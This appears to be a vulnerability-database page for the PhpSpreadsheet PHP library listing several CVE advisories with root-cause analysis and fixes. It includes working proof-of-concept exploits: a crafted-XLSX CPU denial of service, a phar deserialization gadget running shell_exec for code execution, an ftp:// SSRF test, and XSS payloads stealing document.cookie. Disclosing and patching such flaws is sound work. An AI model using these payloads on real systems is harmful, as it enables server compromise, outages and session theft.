Search for packages
| purl | pkg:composer/phpoffice/phpspreadsheet@1.29.8 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-dzsc-krs5-kkhp
Aliases: CVE-2026-40902 GHSA-7c6m-4442-2x6m |
PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions ## Summary The XLSX reader's `ColumnAndRowAttributes::readRowAttributes()` method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a minimal XLSX file (~1.6KB) containing a `<row r="999999999"/>` element that inflates `cachedHighestRow` to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources. ## Details In `src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php` at line 216, the row index is cast directly from XML without bounds checking: ```php // ColumnAndRowAttributes.php:216 $rowIndex = (int) $row['r']; // No validation against AddressRange::MAX_ROW ``` This value flows through `setRowAttributes()` (line 126) → `$this->worksheet->getRowDimension($rowNumber)` (line 60), which updates the cached highest row in `Worksheet.php:1348`: ```php // Worksheet.php:1342-1349 public function getRowDimension(int $row): RowDimension { if (!isset($this->rowDimensions[$row])) { $this->rowDimensions[$row] = new RowDimension($row); $this->cachedHighestRow = max($this->cachedHighestRow, $row); } return $this->rowDimensions[$row]; } ``` The inflated `cachedHighestRow` is then returned by `getHighestRow()` (line 1099) and used as the default end bound in `RowIterator::resetEnd()` (RowIterator.php:86): ```php // RowIterator.php:86 $this->endRow = $endRow ?: $this->subject->getHighestRow(); ``` Notably, column attributes already have equivalent validation at line 161 (`AddressRange::MAX_COLUMN_INT`), and cell coordinates are validated in `Coordinate::coordinateFromString()` (line 40) against `MAX_ROW`. The row dimension attribute path bypasses both of these checks. ## PoC **Step 1: Create the malicious XLSX file (~1.6KB)** ```python import zipfile import io content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>' rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>' workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>' wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>' sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>' with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr('[Content_Types].xml', content_types) zf.writestr('_rels/.rels', rels) zf.writestr('xl/workbook.xml', workbook) zf.writestr('xl/_rels/workbook.xml.rels', wb_rels) zf.writestr('xl/worksheets/sheet1.xml', sheet) print("Created dos_row.xlsx") ``` **Step 2: Load with PhpSpreadsheet (CPU exhaustion)** ```php <?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\IOFactory; $reader = IOFactory::createReader('Xlsx'); $spreadsheet = $reader->load('dos_row.xlsx'); $sheet = $spreadsheet->getActiveSheet(); echo "Highest row: " . $sheet->getHighestRow() . "\n"; // Output: Highest row: 999999999 // This will consume CPU for ~144 seconds (999M iterations) foreach ($sheet->getRowIterator() as $row) { // CPU exhaustion } ``` **Expected output:** `getHighestRow()` returns 999999999. Any row iteration hangs indefinitely. ## Impact - **CPU Denial of Service:** A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using `getRowIterator()` or uses `getHighestRow()` as a loop bound. Estimated CPU burn is ~144 seconds per file. - **Memory Exhaustion:** Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory. - **Amplification:** The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations. - **Common Attack Surface:** PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely. ## Recommended Fix Add row bounds validation in `readRowAttributes()` at line 216, matching the column validation pattern already present at line 161: ```php // src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216 // Before: $rowIndex = (int) $row['r']; // After: $rowIndex = (int) $row['r']; if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) { continue; } ``` The `AddressRange` import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in `Coordinate::coordinateFromString()` and the column validation at line 161. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-g5n6-3aer-gkgd
Aliases: CVE-2026-34084 GHSA-q4q6-r8wh-5cgh |
PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any [php wrappers](https://www.php.net/manual/en/wrappers.php) implementing `stat()`. The 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below. This results in a SSRF, at "best", and RCE at worse. This was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`). ## PoC To reproduce the vulnerable behavior, the following scripts were used: `php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library: ```ini phar.readonly=0 ``` `make_phar.php` to create the malicious file: ```php <?php // php -c php.ini make_phar.php class GadgetClass { public $data; function __construct($d) { $this->data = $d; } function __destruct() { shell_exec($this->data); } } $pop = new GadgetClass('touch /tmp/poc.txt'); $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->addFromString('whatever', 'dummy content'); $phar->setMetadata($pop); $phar->stopBuffering(); rename('exploit.phar', 'exploit.xlsx'); // optional echo "exploit.xlsx created \n"; ``` `test.php` showcases the unsafe pattern: ```php <?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\IOFactory; class GadgetClass { public $data; function __construct($d) { $this->data = $d; } function __destruct() { shell_exec($this->data); } } $filename = $argv[1] ?? null; if (!$filename) { echo "Usage: php test.php <path>\n"; echo " e.g. php test.php phar://exploit.xlsx/whatever\n"; exit(1); } echo "Calling IOFactory::load('" . $filename . "')\n"; try { $spreadsheet = IOFactory::load($filename); var_dump($spreadsheet); } catch (Throwable $e) { echo "Vuln has still triggered even if exception triggers.\n"; } ``` ### RCE Run the PoC (for RCE): ```bash php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt ``` The file `/tmp/poc.txt` should now be present on disk. > Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could "silently" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead. ### SSRF Run the PoC (for SSRF): ```bash ncat -lvp 21 #run on another terminal php test.php ftp://127.0.0.1:21/test ``` Observe a connection is made to `127.0.0.1` on port `21`. ## Root Cause Analysis Following the API exposed by the library, using `IOFactory::load`, the code proceeds as follows: ```php IOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpreadsheetFromFile($filename) -> File::assertFile($filename, ...) -> is_file($filename); ``` The one obvious gadget that was found is guarded via `__unserialize` (or `__wakeup` in older versions) in the `XMLWriter` class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create "POP" gadget chains via other classes which may be available in real-world deployment scenarios. ```php public function __destruct() { // Unlink temporary files // There is nothing reasonable to do if unlink fails. if ($this->tempFileName != '') { @unlink($this->tempFileName); } } /** @param mixed[] $data */ public function __unserialize(array $data): void { $this->tempFileName = ''; throw new SpreadsheetException('Unserialize not permitted'); } ``` Phpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from [packagist ](https://packagist.org)like `maatwebsite/excel` for Laravel, `sonata-project/exporter` and so on, hence the deserialization vector stays relevant in other contexts. ## Suggested mitigations Use `is_file` only after making sure the filename does not contain any php wrapper: ```php $scheme = parse_url($filename, PHP_URL_SCHEME); // strlen check > 1 to avoid issues with Windows absolute paths (e.g. C:\...), Windows quirks :) // since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge if ($scheme !== null && strlen($scheme) > 1) { throw new \PhpOffice\PhpSpreadsheet\Exception( "Stream wrappers are not permitted as file paths: {$filename}" ); } ``` or perhaps even just passing it to `realpath` before calling `is_file` to ensure it is parsed correctly: ```php $real = realpath($filename); // not php wrapper aware AFAIK if ($real === false) { throw new \PhpOffice\PhpSpreadsheet\Exception("Invalid file path: {$filename}"); } // from here on, $real should be a clean absolute path so we can pass it to is_file() if (!is_file($real)) { throw new ... } ``` > Note: `stream_is_local()` would also not be safe here — as it considers `phar://` to be local and would not block it. |
Affected by 4 other vulnerabilities. Affected by 4 other vulnerabilities. Affected by 4 other vulnerabilities. Affected by 4 other vulnerabilities. Affected by 4 other vulnerabilities. |
|
VCID-jw3b-hm9c-sbd2
Aliases: CVE-2026-35453 GHSA-6wpp-88cp-7q68 |
PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer ### Summary The HTML Writer in PhpSpreadsheet bypasses `htmlspecialchars()` output escaping when a cell uses a custom number format containing the `@` text placeholder with additional literal text (e.g., `@ "items"` or `"Total: "@`). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file. ### Details #### 1. Conditional escaping in `Html.php:1586-1594` ```php $cellData = NumberFormat::toFormattedString( $origData2, $formatCode ?? NumberFormat::FORMAT_GENERAL, [$this, 'formatColor'] ); if ($cellData === $origData) { $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags()); } ``` `htmlspecialchars()` is only called when `$cellData === $origData` (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely. #### 2. Early return in `Formatter.php:136-152` ```php if (preg_match(self::SECTION_SPLIT, $format) === 0 && preg_match(self::SYMBOL_AT, $formatx) === 1) { if (!str_contains($format, '"')) { return str_replace('@', /* raw value */, $format); } return str_replace(/* ... preg_replace with raw value ... */); } ``` When the format code contains `@` with additional literal text (e.g., `@ "items"`), the formatter substitutes the raw cell value into the format string and **returns early** — the `formatColor` callback (which would have applied `htmlspecialchars`) is never invoked. ### PoC **test.php** ``` php <?php require '/app/vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Html; $spreadsheet = new Spreadsheet(); $sheet = $spreadsheet->getActiveSheet(); $payload = '<img src=x onerror=alert(document.domain)>'; $formatCode = '@ "items"'; $sheet->setCellValue('A1', $payload); $sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode); $writer = new Html($spreadsheet); $html = $writer->generateHTMLAll(); file_put_contents('/app/output.html', $html); echo "HTML output saved to /app/output.html\n"; ``` The produced output contains unescaped data. ``` html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" /> <title>Untitled Spreadsheet</title> <meta name="author" content="Unknown Creator" /> <meta name="title" content="Untitled Spreadsheet" /> <meta name="lastModifiedBy" content="Unknown Creator" /> <meta name="created" content="2026-04-02T16:34:44+00:00" /> <meta name="modified" content="2026-04-02T16:34:44+00:00" /> <style type="text/css"> [..SNIP..] </style> </head> <body> <div style='page: page0'> <table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'> <col class="col0" /> <tbody> <tr class="row0"> <td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td> </tr> </tbody></table> </div> </body> </html> ``` <img width="719" height="716" alt="Screenshot 2026-04-02 at 18 45 53" src="https://github.com/user-attachments/assets/b758b063-a2d1-4e76-87bb-931eae81dbfe" /> ### Impact The impact changes based on the way the HTML is served. In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-qz8g-w1uw-c7bb
Aliases: CVE-2026-40296 GHSA-hrmw-qprp-wgmc |
PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes. ## The Problem In `Writer/Html.php` around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply `htmlspecialchars()`: ```php if ($cellData === $origData) { $cellData = htmlspecialchars($cellData, ...); } ``` When a cell has a custom number format containing `@` (text placeholder) with any additional literal characters, the formatter replaces `@` with the cell value and adds the extra characters. This makes `$cellData !== $origData`, so `htmlspecialchars()` is **skipped entirely**. Even a single trailing space in the format (`@ `) is enough to bypass the escape. ## Proof of Concept ```php use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Html; use PhpOffice\PhpSpreadsheet\Cell\DataType; $spreadsheet = new Spreadsheet(); $sheet = $spreadsheet->getActiveSheet(); // XSS payload with malicious number format $sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING); $sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @'); $writer = new Html($spreadsheet); $writer->save('output.html'); ``` The generated HTML contains: ```html <td>. <img src=x onerror=alert(document.cookie)></td> ``` The XSS payload is **completely unescaped**. ## Tested Bypass Formats | Format Code | Result | Escaped? | |---|---|---| | `General` (default) | Original value | YES (safe) | | `. @` | `. ` + value | **NO (XSS!)** | | `@ ` (trailing space) | value + ` ` | **NO (XSS!)** | | `x@` | `x` + value | **NO (XSS!)** | This was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser. ## Impact Any application that: 1. Accepts uploaded XLSX files from users 2. Converts them to HTML using PhpSpreadsheet's HTML writer 3. Displays the HTML to other users ...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's `xl/styles.xml`. ## Suggested Fix Always apply `htmlspecialchars()` regardless of whether formatting changed the value: ```php // Instead of conditional escaping: $cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); ``` Or escape AFTER formatting, not conditionally based on equality. ## Reporter Keyvan Hardani |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-raun-sztd-gub9
Aliases: CVE-2026-40863 GHSA-84wq-86v6-x5j6 |
PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader ## Summary The SpreadsheetML XML reader (`Reader\Xml`) does not validate the `ss:Index` row attribute against the maximum allowed row count (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a SpreadsheetML XML file with `ss:Index="999999999"` on a `<Row>` element, which inflates the internal `cachedHighestRow` to ~1 billion. Any subsequent call to `getRowIterator()` without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service. ## Details In `src/PhpSpreadsheet/Reader/Xml.php`, the `loadSpreadsheetFromFile` method processes `<Row>` elements: ```php // Xml.php:397-402 if (isset($row_ss['Index'])) { $rowID = (int) $row_ss['Index']; // No validation against MAX_ROW } if (isset($row_ss['Hidden'])) { $rowVisible = ((string) $row_ss['Hidden']) !== '1'; $spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible); } ``` The `$rowID` value read from `ss:Index` is cast to int with no upper bound check. It is then passed to `getRowDimension()`: ```php // Worksheet.php:1342-1351 public function getRowDimension(int $row): RowDimension { if (!isset($this->rowDimensions[$row])) { $this->rowDimensions[$row] = new RowDimension($row); $this->cachedHighestRow = max($this->cachedHighestRow, $row); } return $this->rowDimensions[$row]; } ``` This inflates `cachedHighestRow` to the attacker-controlled value. Additionally, at line 412, `$cellRange = $columnID . $rowID` is constructed and passed to `getCell()`, which calls `createNewCell()` (Worksheet.php:1294) and also sets `cachedHighestRow`. The `RowIterator` constructor uses `getHighestRow()` as its default end row: ```php // RowIterator.php:84-88 public function resetEnd(?int $endRow = null): static { $this->endRow = $endRow ?: $this->subject->getHighestRow(); return $this; } ``` With `cachedHighestRow` at ~1 billion, iterating over rows causes CPU exhaustion. The `DefaultReadFilter` provides no protection — it returns `true` for all cells. Even without the `Hidden` attribute, any cell data within the row still uses the inflated `$rowID` at line 412, so the `ss:Hidden` attribute is not required to trigger the vulnerability. ## PoC 1. Create `poc.xml`: ```xml <?xml version="1.0"?> <?mso-application progid="Excel.Sheet"?> <Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet"> <Worksheet ss:Name="Sheet1"> <Table> <Row ss:Index="999999999" ss:Hidden="1"/> <Row><Cell><Data ss:Type="String">test</Data></Cell></Row> </Table> </Worksheet> </Workbook> ``` 2. Load and iterate: ```php <?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\IOFactory; $reader = IOFactory::createReader('Xml'); $spreadsheet = $reader->load('poc.xml'); $sheet = $spreadsheet->getActiveSheet(); echo "Highest row: " . $sheet->getHighestRow() . "\n"; // Outputs: Highest row: 1000000000 // This loop will attempt ~1 billion iterations → CPU exhaustion foreach ($sheet->getRowIterator() as $row) { // Never completes } ``` ## Impact Any PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by: - Exhausting server CPU with a single small XML file (~300 bytes) - Blocking the PHP worker process, potentially affecting all concurrent users - Triggering PHP max_execution_time limits that still consume resources before killing the process The attack requires no authentication — only the ability to upload or cause the application to process a crafted SpreadsheetML file. ## Recommended Fix Add MAX_ROW validation after reading the `ss:Index` attribute in `src/PhpSpreadsheet/Reader/Xml.php`: ```php // After line 398: if (isset($row_ss['Index'])) { $rowID = (int) $row_ss['Index']; if ($rowID > AddressRange::MAX_ROW) { $rowID = AddressRange::MAX_ROW; } } ``` Add the necessary import at the top of the file: ```php use PhpOffice\PhpSpreadsheet\Cell\AddressRange; ``` The same validation should also be applied to the `ss:Index` attribute on `<Cell>` elements (line 409) for the column dimension. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-tebr-cwcv-3bam
Aliases: CVE-2025-23210 GHSA-r57h-547h-w24f |
PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters **Product:** PhpSpreadsheet **Version:** 3.8.0 **CWE-ID:** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1:** 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) **CVSS vector v.4.0:** 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) **Description:** an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link **Impact:** executing arbitrary JavaScript code in the browser **Vulnerable component:** class `PhpOffice\PhpSpreadsheet\Writer\Html`, method `generateRow` **Exploitation conditions:** a user viewing a specially generated xml file **Mitigation:** additional sanitization of special characters in a string **Researcher: Igor Sak-Sakovskiy (Positive Technologies)** |
Affected by 6 other vulnerabilities. Affected by 6 other vulnerabilities. Affected by 6 other vulnerabilities. Affected by 6 other vulnerabilities. |
|
VCID-v6u5-m45s-tbch
Aliases: CVE-2025-54370 GHSA-rx7m-68vc-ppxh |
PhpSpreadsheet vulnerable to SSRF when reading and displaying a processed HTML document in the browser **Product:** PhpSpreadsheet **Version:** 3.8.0 **CWE-ID:** CWE-918: Server-Side Request Forgery (SSRF) **CVSS vector v.3.1:** 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) **CVSS vector v.4.0:** 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N) **Description:** SSRF occurs when a processed HTML document is read and displayed in the browser **Impact:** Server-Side Request Forgery **Vulnerable component:** the `PhpOffice\PhpSpreadsheet\Worksheet\Drawing` class, `setPath` method **Exploitation conditions:** getting a string from the user that is passed to the HTML reader **Mitigation:** improved processing of the `$path` variable of the `setPath` method of the `PhpOffice\PhpSpreadsheet\Worksheet\Drawing` class is needed **Researcher: Aleksey Solovev (Positive Technologies)** |
Affected by 5 other vulnerabilities. Affected by 5 other vulnerabilities. Affected by 5 other vulnerabilities. Affected by 5 other vulnerabilities. Affected by 5 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| VCID-wbjg-h8tu-vqak | Cross-Site Scripting (XSS) vulnerability in generateNavigation() function in PhpSpreadsheet The researcher discovered zero-day vulnerability Cross-Site Scripting (XSS) vulnerability in the code which translates the XLSX file into a HTML representation and displays it in the response. |
CVE-2025-22131
GHSA-79xx-vf93-p7cx |